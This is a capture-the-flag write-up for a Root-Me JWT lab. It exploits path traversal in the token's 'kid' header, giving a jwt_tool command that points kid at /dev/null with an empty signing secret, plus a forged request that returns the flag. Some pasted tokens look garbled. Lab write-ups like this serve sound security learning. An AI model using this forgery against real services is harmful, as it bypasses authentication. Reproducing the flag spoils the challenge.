

JWT - Unsecure File Signature

LAB: <https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature>

- Decode base64 JWT

Encoded

PASTE A TOKEN HERE

eyJhbGciOiJIUzI1NiIsImtpZCI6ImI5MDFiYjI0LTcwMGItNGNjNi1hbnZlbnNiMjA3YWI2MTMxMyIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoia3Vlc3QiLCJpYXQiOiE3MzMwNDQzMzh9.6PqF7w5g34Wvh1qcIJAqUMaWAgZh2WwAhotv8gQWf18

Decoded

EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "kid": "b901bb24-700b-4cc6-a71a-cb207ab61313",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
{
  "user": "guest",
  "iat": 1733044338
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret
) ☐ secret base64 encoded
```

The JWT has *kid claim* in the header

- Based on hack trick, we can path traversal with "kid"

Path Traversal with "kid"

The `kid` claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the `kid` value to target specific files or services. Tampering with the JWT to change the `kid` value while retaining the original signature can be achieved using the `-T` flag in `jwt_tool`, as demonstrated below:

```
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```

- Try to see if we can path traversal by reading the secret key.

```

1 HTTP/1.1 401 UNAUTHORIZED
2 Server: Werkzeug/2.2.2 Python/3.11.9
3 Date: Sun, 01 Dec 2024 05:36:10 GMT
4 Content-Type: application/json
5 Content-Length: 80
6 Connection: close
7
8 {
9     "Unauthorized":
10     "File keys/b901bb24-700b-4cc6-a71a-cb207ab61313.pem not found"
11 }
12

```

- Next we will try to read folder `/dev/null`



JWTTool
Version 2.2.7 @ticarpi

```
read file ../../dev/null
```

Look like it filter ../

- ## JWT - Unsecure File Signature


```

Pretty  Raw  Hex
1 GET /admin HTTP/1.1
2 Host: challenge01.root-me.org:59081
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102
  Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
  image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
  q=0.9
6 Referer: http://challenge01.root-me.org:59081/
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: session=
  eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLi4vLy4uLi4vLy4uLi4vLzRld
  iSudWxsIiwidHlwIjoIc3R5bWUiLCJpYXQiOiB3MzZmND
  QzMhS9_eXqPqPagi55Jz4eJTpUC_TvQ1Hh12xxxr8TjpRF7YEw
10 Connection: close
11
12

Pretty  Raw  Hex  Render
1 HTTP/1.1 200 OK
2 Server: Werkzeug/2.2.2 Python/3.11.9
3 Date: Sun, 01 Dec 2024 09:51:17 GMT
4 Content-Type: application/json
5 Content-Length: 74
6 Connection: close
7
8 {
  "Success":
    "Well done ! Here is your flag : RM(Uns3cUr3_fl13_H4ndl1nG!!)"
9
}
```

Get the flag